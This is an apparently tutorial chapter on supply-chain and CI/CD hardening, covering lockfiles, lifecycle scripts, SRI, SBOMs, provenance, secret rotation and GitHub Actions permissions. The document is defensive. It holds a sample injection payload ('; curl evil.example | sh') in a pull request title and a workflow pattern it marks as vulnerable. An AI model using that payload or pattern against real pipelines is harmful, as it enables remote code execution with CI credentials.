| |

Web Security 19 🛡️ Supply Chain, Secrets & CI/CD Hardening — Auditing dependencies, lockfiles, SRI, SBOMs, provenance, and secret management

⏱️ Estimated read: 27 min | |

The code you wrote is a minority of the code that runs. A modern application ships the transitive closure of its dependency graph, and that closure is where the attacks have actually landed: event-stream in 2018, ua-parser-js in 2021, colors and faker in January 2022, node-ipc in March 2022, xz-utils in March 2024, and the @solana/web3.js compromise in August 2024 that exfiltrated private keys from build environments. None of those were bugs in the applications that consumed them. Every one of them was a compromise of the supply chain, and the application’s dependency on the compromised package was the entire attack.

Secrets are the second half of the same story. A credential committed to a public repository is compromised at the moment of the push, whether or not the commit was later amended, because history is retained, mirrors are made, and crawlers watch the public feed continuously. GitHub’s secret scanning and push protection reduce the window but do not close it, and the only reliable remediation is rotation — the history rewrite is housekeeping, not recovery.

CI/CD is the third, and it is where the first two meet. The pipeline holds the publish token, the cloud credentials, the signing key, and the deploy access, and it runs code that a contributor controls. A workflow that interpolates a pull request title into a shell script, or checks out a fork’s head under pull_request_target, or installs dependencies with lifecycle scripts enabled, is a remote code execution endpoint with your production credentials attached.

This chapter works through the three in order. First dependency auditing and lockfile integrity, including the install-time script problem that no advisory database catches. Then the verification layer — Subresource Integrity for what the browser loads, SBOMs for what the repository contains, and provenance attestations for how the artifact was built. Then secrets, their detection and irreversible leakage. Then the CI/CD hardening that ties them together: least-privilege tokens, commit-SHA pinning, script-injection defence, and OIDC federation that removes the long-lived credential entirely.

Key point: A lockfile makes a build reproducible but not trustworthy, an advisory database catches known CVEs but not a malicious release, and neither of them stops a postinstall script — so verification has to come from provenance, and the durable fix for secret sprawl is to remove the secret rather than to guard it.


Why it exists

The transitive-dependency problem. A typical application declares thirty direct dependencies and installs between eight hundred and two thousand packages once the tree is resolved. Each of those packages is a maintainer account, and each maintainer account is a credential that can be phished, hijacked, or sold. The ua-parser-js incident in October 2021 was account hijacking at the top of a package with millions of weekly downloads; the event-stream incident in November 2018 was a maintainer handing publishing rights to a stranger who then added a malicious dependency. Neither required the consuming application to do anything wrong.

The install-time-execution problem. npm install runs lifecycle scripts from dependencies. A postinstall script executes with the CI runner’s environment, which is where the registry token, the cloud credentials, and the deploy key live. The xz-utils backdoor did not need a script — it hid in test fixture files and a build-system hook — but the @solana/web3.js compromise in August 2024 did exactly this, shipping a version whose install path fetched and ran code that harvested keypair files. An advisory database scan would have found nothing, because the package was not vulnerable in the CVE sense; it was hostile.

The correct-artifact problem. A lockfile records the version and the integrity hash of every package, which makes the build reproducible and detects tampering with the tarball after the fact. It does not say anything about whether the maintainer who published version 4.17.21 is the same person who published 4.17.20, or whether the published source matches the repository it claims to come from. That gap is what provenance attestations close: a signed statement, produced by the build platform, that a given tarball was built from a given commit in a given repository by a given workflow.

The credential-sprawl problem. Secrets accumulate. A .env file copied between a laptop and a staging server, an API key pasted into a CI variable and never rotated, a personal access token in a git remote URL, a database password in a Docker compose file, a service account JSON in the repository “temporarily”. The number of places a single credential exists grows faster than the number of credentials, and the probability that one of those places is public approaches one over enough time.

The pipeline-privilege problem. The CI runner is the most privileged process in a typical organisation and the least carefully reviewed. It holds credentials for the registry, the cloud account, the deployment target, and often the production database. The workflows that run in it are contributed by anyone with write access to a branch, and some are contributed by anyone at all via a pull request. The gap between “who can change this workflow” and “what this workflow can do” is the attack surface.

The attribution problem. When something goes wrong, the question is which artifact is running and how it got there. An image tagged :latest, a package installed from a range rather than a pin, a workflow step referencing @main — none of these can answer the question. Immutable identifiers can: a container digest, a pinned lockfile, a workflow step pinned to a forty-character commit SHA. Attribution is not a security feature until it is the only thing you can do, and by then it is too late to add.

The trade-off. Every control here costs time and friction. --ignore-scripts breaks packages that genuinely need to compile a native addon. Pinning actions to SHAs means a human has to bump them. Provenance verification requires the registry to support it and the publisher to have adopted it. The design principle is to make the risky path visible and exceptional rather than to remove it: allowlisted build scripts instead of none, an automated dependency bot instead of manual pins, and provenance verification at the point where it is cheap rather than at every install.


a. Dependency auditing, lockfiles, and install-time execution

npm audit compares the resolved tree against the GitHub Advisory Database and reports the known vulnerabilities. It is worth running and it is not sufficient, for a reason that is easy to state: it can only report what someone has already reported. A freshly published malicious version has no advisory. A typosquat has no advisory. A hijacked account has no advisory until the maintainer notices.

# Audit what will actually be deployed, not the dev tree
npm audit --omit=dev --audit-level=high

# Verify the registry's own signatures over the published tarballs
npm audit signatures

# Inspect why a package is even present before trying to remove it
npm explain lodash
npm ls --all --omit=dev | head -50

The --omit=dev flag matters because a large share of reported vulnerabilities live in build tooling that never reaches production. The team that remediates forty dev-dependency findings and none of the three runtime ones has done a lot of work and reduced no risk.

The lockfile is the control that makes the tree reproducible. package-lock.json on npm, pnpm-lock.yaml on pnpm, yarn.lock on Yarn — whatever the tool, the file is committed, and the CI install command must be the one that refuses to deviate from it. npm ci deletes node_modules, fails if the lockfile and package.json disagree, and installs exact versions from the lockfile. npm install resolves ranges and can quietly move the tree.

# CI must fail on drift rather than silently re-resolving
npm ci --ignore-scripts --no-audit

# pnpm and Yarn equivalents of the same guarantee
pnpm install --frozen-lockfile
yarn install --immutable

--ignore-scripts is the single highest-value flag in that command, and the reason is the postinstall problem from the previous section. Disabling lifecycle scripts means a compromised package cannot execute during install; it can only execute if your own code imports it, which is a much narrower and more visible path. Packages that legitimately need to compile a native addon are then a small, explicit list.

pnpm made this the default in version 10, released in January 2025: dependency lifecycle scripts do not run unless the package is listed in pnpm.onlyBuiltDependencies. That is an allowlist rather than a blocklist, which is the direction everything here should go.

{
  "pnpm": {
    "onlyBuiltDependencies": ["esbuild", "sharp", "bcrypt"]
  }
}

Transitive versions can be forced without forking with overrides, which is how a patched version of a deep dependency gets adopted before the intermediate package catches up.

{
  "overrides": {
    "minimist@<1.2.6": "1.2.8",
    "semver@<7.5.2": "7.7.2"
  }
}

Automation closes the loop. Dependabot and Renovate both open pull requests when a dependency releases a new version, and the difference that matters operationally is the update strategy: pin exact versions in the manifest, let the bot propose the bump, and let the test suite and the lockfile diff be the review. A bot that groups patch updates into a single pull request per week is a bot a team actually keeps up with.


b. SRI, SBOMs, and provenance attestations

Subresource Integrity is the browser-side control. A script or link element carrying an integrity attribute declares the expected hash of the resource, and the browser refuses to execute or apply the resource if the fetched bytes do not hash to it. It defends the CDN case: a host that serves a popular library is a high-value target precisely because compromising it injects code into every site that references it.

<!-- sha384 of the exact bytes; crossorigin is required for cross-origin SRI -->
<script
  src="https://cdn.example.com/lib-4.17.21.min.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"
></script>

Generating the hash is a two-command exercise, and the hash must be computed over the bytes actually served — a build step that minifies after computing the hash produces an integrity value that never matches.

# Hash the exact file the CDN will serve, base64 with no line wrapping
openssl dgst -sha384 -binary lib-4.17.21.min.js | openssl base64 -A

SRI has two honest limitations worth knowing before relying on it. It is enforced on script, link rel="stylesheet", and link rel="preload", and it is not enforced on fetch, XMLHttpRequest, or dynamic import() — there is no integrity option on those APIs in any shipping browser. A single-page application that lazy-loads its route bundles through import() therefore gets no SRI coverage on the code it actually runs, which is why Content Security Policy’s require-sri-for was removed and why the practical control for application bundles is first-party hosting plus a strict script-src.

SBOMs are the inventory control. An attestable list of every component in an artifact, in a format that tooling can read, is what makes “are we affected by this CVE” a query rather than an archaeology project. SPDX is standardised as ISO/IEC 5962:2021; CycloneDX is standardised by Ecma International as ECMA-424. Both are accepted by the major scanners and by regulators, and the choice between them matters less than generating one at build time and keeping it next to the artifact.

# CycloneDX for the production dependency tree
npx @cyclonedx/cyclonedx-npm --omit dev --output-format JSON > sbom.cdx.json

# SPDX for a container image, scanned from the built artifact
syft packages registry.example.com/app@sha256:abc123 -o spdx-json > sbom.spdx.json

The regulatory driver is real. US Executive Order 14028 in May 2021 pushed SBOMs into federal procurement, and the EU Cyber Resilience Act, in force since December 2024, requires an SBOM for products with digital elements. An organisation that produces one in CI for operational reasons is incidentally compliant; one that produces one for compliance only usually produces one that is stale.

Provenance is the control that answers “who built this and from what.” SLSA — Supply-chain Levels for Software Artifacts — defines a build track with three levels: L1 records that a build happened and by what process, L2 has the build performed by a hosted platform with a signed, authenticated provenance record, and L3 additionally isolates the build so that the provenance cannot be forged by the build itself. Most teams that adopt provenance land at L2, which is what a hosted CI provider gives you, and the difference between L1 and L2 is the difference between a claim and a signature.

npm implements this directly. Publishing with --provenance from a supported CI provider produces a signed attestation binding the tarball to the source commit and the workflow that built it, and consumers can verify it.

# Publish with a provenance attestation (requires a supported CI + id-token)
npm publish --provenance --access public

# On the consuming side: verify registry signatures and provenance
npm audit signatures

The signing machinery behind it is Sigstore. Fulcio issues a short-lived certificate bound to the workflow’s OIDC identity, the signature and certificate are recorded in the Rekor transparency log, and verification checks the certificate against the expected identity and issuer rather than against a long-lived key. For containers and arbitrary blobs, cosign exposes the same model.

# Sign a container image keylessly, using the CI's OIDC identity
cosign sign registry.example.com/app@sha256:abc123

# Verify: the identity and issuer are the trust anchor, not a stored key
cosign verify registry.example.com/app@sha256:abc123 \
  --certificate-identity-regexp '^https://github.com/org/repo/.+' \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com

The digest in those commands is the other half of the control. A tag is mutable; a digest is not. Deploying app:latest deploys whatever the registry currently points that tag at, which means the artifact that reaches production is not necessarily the artifact that passed the scan.


c. Secrets — detection, irreversibility, and rotation

A secret committed to a repository is compromised at the moment of the push. Amending the commit, force-pushing the branch, and deleting the repository do not undo it: the commit object remains reachable in forks and clones, the hosting provider retains it, and automated crawlers scan the public event feed in real time. The remediation order is therefore fixed — rotate first, then clean — because cleaning without rotating leaves a live credential in a place you no longer control.

Detection has two layers. Committing-side prevention is cheapest: GitHub’s secret scanning and push protection reject a push containing a recognised credential pattern before it reaches the remote. Repository-side scanning catches what got through, and for self-hosted or multi-provider setups the tools are gitleaks and trufflehog, both of which scan git history rather than just the working tree.

# Scan the full history, not just HEAD; --redact keeps findings out of logs
gitleaks detect --source . --log-opts="--all" --redact --report-format sarif

# TruffleHog verifies findings against the provider where possible, which
# separates a live credential from a test fixture that looks like one
trufflehog git file://. --only-verified

Verification is the detail that makes the output actionable. An unverified scan of a mature repository returns hundreds of hits, most of which are documentation examples and test fixtures; a verified scan returns the handful that are live. Triage the verified list first, and turn the unverified list into a baseline that new findings are compared against.

Removal from history uses git filter-repo, which replaced git filter-branch as the recommended tool. It rewrites every commit that touched the file, which changes every subsequent SHA, which means every open branch, every fork, and every CI cache keyed on a commit hash is now stale. That disruption is the reason rotation comes first: rewriting history is expensive and it does not recover a credential.

# Remove a file from all of history, then force-push every branch
git filter-repo --path config/secrets.yml --invert-paths --force
git push --force --all && git push --force --tags

Prevention is structural, and the structure is that the secret should not exist on the developer’s machine or in the environment at all. Where a credential is unavoidable, a manager rather than a file: Vault, AWS Secrets Manager, Doppler, 1Password CLI, each of which can inject at runtime and rotate on a schedule. Where the credential is for a cloud provider from CI, the right answer is to remove it entirely.

OIDC federation replaces the stored cloud credential with a token the CI provider mints per job, which the cloud provider exchanges for temporary credentials after verifying the workflow’s identity. There is nothing long-lived to leak, nothing to rotate, and the trust is scoped to a specific repository, branch, and environment.

permissions:
  id-token: write   # required to mint the OIDC token
  contents: read

steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::123456789012:role/deploy
      aws-region: eu-west-1
      # The trust policy must constrain the sub claim, e.g.
      # repo:org/repo:ref:refs/heads/main or :environment:production

The trust policy is where the security actually lives. A role that trusts repo:org/* is a role any repository in the organisation can assume; a role that trusts repo:org/repo:environment:production is a role only a job that passed the environment’s protection rules can assume.

The masking limitation deserves its own line. CI providers mask the literal value of a secret in logs, but they cannot mask a transformed value. echo "$SECRET" | base64 prints the encoded secret in full, and so does passing it to a command that echoes it in an error message. The rule is that secrets are referenced, never printed, and that a step which needs to debug a credential should print its length or its SHA-256 prefix instead.


d. CI/CD hardening — least privilege, SHA pinning, and injection defence

The workflow file is code with production credentials, and it should be reviewed with that in mind.

Permissions default to deny. The GITHUB_TOKEN is scoped by the top-level permissions key, and the default for a repository can be read-write across contents, packages, issues, and pull requests. Declaring contents: read at the top of the workflow and granting anything else per job reduces the blast radius of a compromised step to what that step actually needed.

# Top-level default: read-only. Everything else is granted deliberately.
permissions:
  contents: read

jobs:
  test:
    # The test job needs nothing beyond checkout
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          persist-credentials: false   # do not leave the token in .git/config

persist-credentials: false is a small flag with a specific purpose: by default, actions/checkout writes the token into the local git configuration so subsequent steps can push. A dependency’s postinstall script that runs git remote -v then finds a working credential. Removing it means a step that genuinely needs to push has to be given the token explicitly.

Pinning to a commit SHA closes the tag-mutation hole. A tag like @v4 is a mutable ref that the action’s maintainers can move, and a compromised maintainer account can move it to a commit that exfiltrates the token in the environment. A forty-character SHA cannot be moved. This is the same reasoning as a container digest and the same cost: bumps are manual, which is why a bot should do them.

Script injection is the vulnerability that is specific to workflow files and specific to the ${{ }} syntax. The expression is substituted into the shell command before the shell parses it, so a value that contains a semicolon, a backtick, or $(...) is executed. Pull request titles, issue bodies, branch names, and commit messages are all attacker-controlled in a public repository.

# VULNERABLE: the title is interpolated directly into the script text
- run: echo "PR title is ${{ github.event.pull_request.title }}"
# A title containing "; curl evil.example | sh" executes as shell

# SAFE: the value arrives through the environment, where the shell quotes it
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR title is $PR_TITLE"

pull_request_target is the trigger that runs with the base repository’s secrets and write token, which is why it is used for labelling and commenting on forks. Combining it with a checkout of the fork’s head is remote code execution with the base repository’s credentials, and it is a well-documented pattern that has been exploited in the wild.

# VULNERABLE: base-repo secrets + fork-controlled code
on: pull_request_target
steps:
  - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
    with:
      ref: ${{ github.event.pull_request.head.sha }}   # fork's code
  - run: npm ci   # runs the fork's postinstall scripts with base credentials

# SAFE: two workflows. The privileged one never checks out fork code;
# the unprivileged one runs on pull_request with no secrets.
on: pull_request
permissions:
  contents: read

Cache and artifact poisoning follows the same shape. A cache key that is shared between a privileged workflow and an unprivileged one lets the unprivileged workflow write an entry the privileged one later restores, and actions/download-artifact without a run-id scope can pull artifacts from an unrelated workflow run. Scope caches by key including the ref, and pin artifact downloads to the producing run.

Environment protection rules are the last gate before production. A job that targets an environment with required reviewers pauses for a human, and the OIDC subject claim includes the environment name, so a cloud role can be scoped to “a job that a human approved.” That combination is what makes a deploy pipeline reviewable rather than merely automated.

Artifact attestations close the loop with section b. GitHub’s attest-build-provenance action produces a signed SLSA provenance statement for a built artifact, verifiable later by anyone, which is what makes the deployed binary attributable to a specific workflow run and commit.

- uses: actions/attest-build-provenance@v2
  with:
    subject-path: dist/app.tar.gz   # the artifact the attestation covers

Complete Example Session

# ============================================
# PART 1: THE HARDENED WORKFLOW HEADER
# ============================================
name: ci
on: [push, pull_request]

# Default deny; every grant below is deliberate
permissions:
  contents: read

# ============================================
# PART 2: THE TEST JOB
# ============================================
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      # Pinned to a full commit SHA; the tag can move, the SHA cannot
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          # Keeps the token out of .git/config for later steps
          persist-credentials: false

      # Node from a pinned SHA rather than a moving major
      - uses: actions/setup-node@v4
        with: { node-version: 22, cache: npm }

      # npm ci fails on lockfile drift; --ignore-scripts blocks postinstall
      - run: npm ci --ignore-scripts
      - run: npm test
# ============================================
# PART 3: THE SAFE INJECTION PATTERN
# ============================================
      - name: Announce PR
        # The value arrives through env, so the shell quotes it
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
        run: echo "PR title is $PR_TITLE"

# ============================================
# PART 4: THE AUDIT AND SBOM STEP
# ============================================
      - name: Audit production dependencies
        run: npm audit --omit=dev --audit-level=high

      - name: Verify registry signatures and provenance
        run: npm audit signatures

      - name: Generate SBOM
        run: npx @cyclonedx/cyclonedx-npm --omit dev --output-format JSON > sbom.cdx.json

      - uses: actions/upload-artifact@v4
        with: { name: sbom, path: sbom.cdx.json }
# ============================================
# PART 5: THE SECRET SCAN
# ============================================
      - name: Scan history for credentials
        # --redact keeps the finding out of the log it is reporting to
        run: gitleaks detect --source . --log-opts="--all" --redact
# ============================================
# PART 6: THE DEPLOY JOB WITH OIDC
# ============================================
  deploy:
    needs: test
    runs-on: ubuntu-latest
    # A human approval is required before this job starts
    environment: production
    permissions:
      contents: read
      id-token: write        # mint the OIDC token for the cloud exchange

    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
        with: { persist-credentials: false }

      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/deploy
          # Trust policy restricts this to :environment:production
          aws-region: eu-west-1

# ============================================
# PART 7: THE PROVENANCE ATTESTATION
# ============================================
      - name: Build and attest
        run: |
          ./build.sh
          # Signed SLSA provenance binding the artifact to this run
      - uses: actions/attest-build-provenance@v2
        with: { subject-path: dist/app.tar.gz }

# ============================================
# PART 8: THE DIGEST-PINNED DEPLOY
# ============================================
      - name: Deploy immutable artifact
        run: |
          # Resolve the tag to a digest once, then deploy the digest
          DIGEST=$(aws ecr describe-images --repository-name app \
            --image-ids imageTag="$GITHUB_SHA" --query 'imageDetails[0].imageDigest' --output text)
          kubectl set image deploy/app app=registry.example.com/app@"$DIGEST"

# ============================================
# PART 9: THE PACKAGE MANIFEST CONTROLS
# ============================================
# package.json
# {
#   "overrides": { "minimist@<1.2.6": "1.2.8" },
#   "pnpm": { "onlyBuiltDependencies": ["esbuild", "sharp"] }
# }

# ============================================
# PART 10: THE SUBRESOURCE INTEGRITY TAG
# ============================================
# <script src="https://cdn.example.com/lib.min.js"
#         integrity="sha384-…" crossorigin="anonymous"></script>

The ten parts covered the default-deny workflow header, the checkout with credentials suppressed, the environment-variable form of the injection fix, the audit and SBOM steps, the history scan, the OIDC deploy job gated by an environment, the provenance attestation, the digest-pinned deployment, the manifest-level overrides and build-script allowlist, and the SRI tag for the browser.


Quick Reference

Package Manager Lock Commands

ToolReproducible InstallDrift Check
npmnpm ciFails if lockfile and manifest disagree
pnpmpnpm install --frozen-lockfileFails on drift
Yarn Berryyarn install --immutableFails on drift
pippip install -r req.txt --require-hashesHash mismatch fails
Gogo mod verifyModule cache check

Integrity and Provenance

ControlLayerProtects Against
Lockfile + integrity hashInstallTarball substitution
SRI integrity attributeBrowserCDN compromise
SBOM (SPDX / CycloneDX)Artifact inventoryUnknown component
SLSA Build L2Build platformForged build claims
npm --provenancePublishSource-to-tarball binding
cosign + RekorContainer / blobImage substitution

SRI Enforcement

ElementEnforced
scriptYes
link rel="stylesheet"Yes
link rel="preload"Yes
fetch / XMLHttpRequestNo
Dynamic import()No

Secret Leak Remediation Order

StepActionWhy First
1Rotate the credentialLeak predates the fix
2Revoke the old valueRotation may leave it valid
3Audit usage in provider logsDetect prior abuse
4Rewrite history with git filter-repoHousekeeping only
5Add push protectionPrevent recurrence

Workflow Injection Surface

Context FieldAttacker Controlled
github.event.pull_request.titleYes (public repo)
github.event.issue.bodyYes
github.head_refYes
github.event.pull_request.head.shaYes
github.repositoryNo

Best Practices

✅ Do This:

# Fail on lockfile drift instead of re-resolving
npm ci --ignore-scripts                                          # ✅

# Allowlist the few packages that need a build script
"pnpm": { "onlyBuiltDependencies": ["sharp"] }                   # ✅

# Audit what ships, not what builds
npm audit --omit=dev --audit-level=high                          # ✅

# Verify the registry's signatures
npm audit signatures                                             # ✅

# Pin workflow actions to a commit SHA
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # ✅

# Pass untrusted context through env
env: { T: "${{ github.event.issue.title }}" }                    # ✅
# Deploy a digest, never a mutable tag
kubectl set image deploy/app app=registry/app@sha256:abc123      # ✅

# Rotate before rewriting history
# 1. revoke the key  2. git filter-repo  3. push --force          # ✅

# Use OIDC instead of a stored cloud key
permissions: { id-token: write }                                 # ✅

# Scan full history with redaction
gitleaks detect --log-opts="--all" --redact                      # ✅

❌ Don’t Do This:

# Resolves ranges; the lockfile is advisory
npm install                                                      # ❌

# Runs arbitrary postinstall scripts in CI with your tokens
npm ci                                                           # ❌

# Audits dev tooling and misses the runtime tree
npm audit                                                        # ❌

# A tag the maintainers can move
uses: actions/checkout@v4                                        # ❌

# Shell injection through the workflow expression
run: echo "${{ github.event.pull_request.title }}"               # ❌
# Fork code executing with base-repo secrets
on: pull_request_target + ref: head.sha + npm ci                 # ❌

# A tag that can be repointed
image: registry/app:latest                                       # ❌

# Deleting the commit and calling it fixed
git commit --amend   # the blob is still on the remote           # ❌

# Long-lived cloud keys in repository secrets
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_KEY }}                    # ❌

Common Pitfalls

PitfallWhy It HappensFix
Lockfile never usednpm install in CInpm ci / --frozen-lockfile
Malicious postinstall ranLifecycle scripts enabled--ignore-scripts, allowlist
Audit fixes nothingOnly dev dependencies flagged--omit=dev --audit-level=high
Tag repointed under youAction pinned to @v4Pin the full commit SHA
PR title executed as shell${{ }} inside runPass through env
Fork code got the tokenpull_request_target + head checkoutSplit into two workflows
Cache hit from a forkShared cache keyInclude the ref in the key
Secret still live after rewriteRotation skippedRevoke first, then rewrite
Verification finds hundredsFixtures look like keysTriage --only-verified first
SBOM stale on the artifactGenerated on a scheduleGenerate in the build job

Real-World Examples

1. Reproducible install

npm ci --ignore-scripts --no-audit

2. Build-script allowlist

"pnpm": { "onlyBuiltDependencies": ["esbuild", "sharp"] }

3. Force a patched transitive version

"overrides": { "minimist@<1.2.6": "1.2.8" }

4. Runtime-only audit

npm audit --omit=dev --audit-level=high

5. Registry signature check

npm audit signatures

6. SRI hash generation

openssl dgst -sha384 -binary lib.js | openssl base64 -A

7. CycloneDX SBOM

npx @cyclonedx/cyclonedx-npm --omit dev --output-format JSON > sbom.json

8. Publish with provenance

npm publish --provenance --access public

9. Verify a signed image

cosign verify registry/app@sha256:abc123 --certificate-oidc-issuer <issuer>

10. Remove a file from history

git filter-repo --path secrets.yml --invert-paths --force

Visual

The Dependency Trust Gap

┌──────────────────────────────────────────────────────────┐
│  WHAT A LOCKFILE PROVES      WHAT IT DOES NOT PROVE      │
│                                                          │
│  the bytes match the hash    who published those bytes   │
│  the tree is reproducible    that the source matches     │
│  the version is exact        that the account is genuine │
│                                                          │
│  ─── provenance closes the right-hand column ───         │
└──────────────────────────────────────────────────────────┘

Where an Install Can Execute

┌──────────────────────────────────────────────────────────┐
│  npm ci                                                  │
│    │                                                     │
│    ├── resolve lockfile          ── no execution         │
│    ├── download tarballs         ── no execution         │
│    ├── verify integrity hashes   ── no execution         │
│    └── run lifecycle scripts     ── ARBITRARY CODE       │
│           │                                              │
│           ▼                                              │
│      postinstall sees:                                   │
│        CI registry token, cloud creds, deploy keys       │
│                                                          │
│  --ignore-scripts removes the last line entirely         │
└──────────────────────────────────────────────────────────┘

Secret Remediation Order

┌──────────────────────────────────────────────────────────┐
│  SECRET PUSHED TO A PUBLIC REPO                          │
│                                                          │
│  [1] revoke the credential      ← minutes matter        │
│  [2] issue a replacement                                 │
│  [3] audit provider logs for use                         │
│  [4] git filter-repo + force push                        │
│  [5] enable push protection                              │
│                                                          │
│  Steps 1–3 restore security. Step 4 restores tidiness.   │
└──────────────────────────────────────────────────────────┘

Workflow Privilege Boundaries

┌──────────────────────────────────────────────────────────┐
│  on: pull_request          on: pull_request_target       │
│    ├── no secrets            ├── secrets + write token   │
│    ├── read token            ├── base repo context       │
│    └── fork code OK          └── NEVER check out a fork  │
│                                                          │
│  deploy job                                              │
│    ├── environment: production  → human approval         │
│    ├── id-token: write          → OIDC to the cloud      │
│    └── artifact digest          → immutable input        │
└──────────────────────────────────────────────────────────┘

Summary

ItemValue
Reproducible installnpm ci, --frozen-lockfile, --immutable
Lifecycle script block--ignore-scripts or onlyBuiltDependencies
Runtime auditnpm audit --omit=dev --audit-level=high
Signature verificationnpm audit signatures
Browser integritySRI integrity + crossorigin
SRI gapsfetch, XHR, dynamic import()
SBOM standardsSPDX (ISO/IEC 5962:2021), CycloneDX (ECMA-424)
Provenance levelsSLSA Build L1 / L2 / L3
Signing modelSigstore: Fulcio certificate, Rekor log
History rewritegit filter-repo
Workflow pinningFull 40-character commit SHA
Credential replacementOIDC federation, no long-lived key

Key takeaways:

  • A lockfile is reproducibility, not trust. It proves the bytes match a hash; it says nothing about who published them. Provenance attestations close that gap, and they are the only control that survives a compromised maintainer account.
  • postinstall is the highest-value execution primitive in the supply chain. @solana/web3.js in August 2024 harvested keypairs that way. --ignore-scripts with an explicit allowlist removes the primitive rather than trying to detect its payload.
  • SRI covers static elements and nothing else. It is enforced on script, stylesheets, and preloads, and it is not enforced on fetch or dynamic import(). First-party hosting plus a strict script-src is what covers the application bundles.
  • SBOMs and provenance answer different questions. An SBOM lists what is inside; provenance states how it was built and by whom. One makes CVE triage a query, the other makes artifact substitution detectable.
  • Rotate before you rewrite. The credential is compromised the instant it is pushed, and git filter-repo — which rewrites every subsequent commit SHA — is housekeeping that follows revocation rather than replacing it.
  • The workflow file holds the credentials, so it is the highest-value code in the repository. Default-deny permissions, pin actions to commit SHAs, pass untrusted context through env, and never check out fork code under pull_request_target.
  • OIDC is the only secret-management strategy with no residual risk. A long-lived cloud key in repository secrets is a target forever; a job-scoped OIDC token that expires with the job has nothing to steal and nothing to rotate.

Remember: Every failure in this chapter comes from trusting something because of where it came from rather than what it is. A package is trusted because it was published to the registry, a tarball because the lockfile names it, an action because the tag says v4, a credential because it is in a secret store, a build because it ran on CI. Each of those is an assumption about provenance that can be replaced with a verifiable fact — a hash, a signature, a commit SHA, a short-lived token, an attestation. Make the fact the thing the pipeline checks, and the assumption stops mattering. The teams that get this right are not the ones that audit more; they are the ones that made the unsafe path impossible to take by default, in a workflow file that anyone can read.

Was this helpful?


Stop using slow, ad-bloated tool sites! 🤮

🔎 Search “KandZ Tools” on Google to use many professional utilities for free.

KandZ.me is the ultimate minimalist hub for:
✅ Finance (Mortgage, Interest, Inflation)
✅ Tech (Base64, JSON, Dev Suite, IP)
✅ Health (BMI, BMR, TDEE)
✅ Productivity (Timer, Workspace, QR)

⚡️ Fast & Private
🔒 No data leaves your device
💎 100% Free

🔗 Use it now: https://tools.kandz.me
🔖 Bookmark it—you’ll need it later!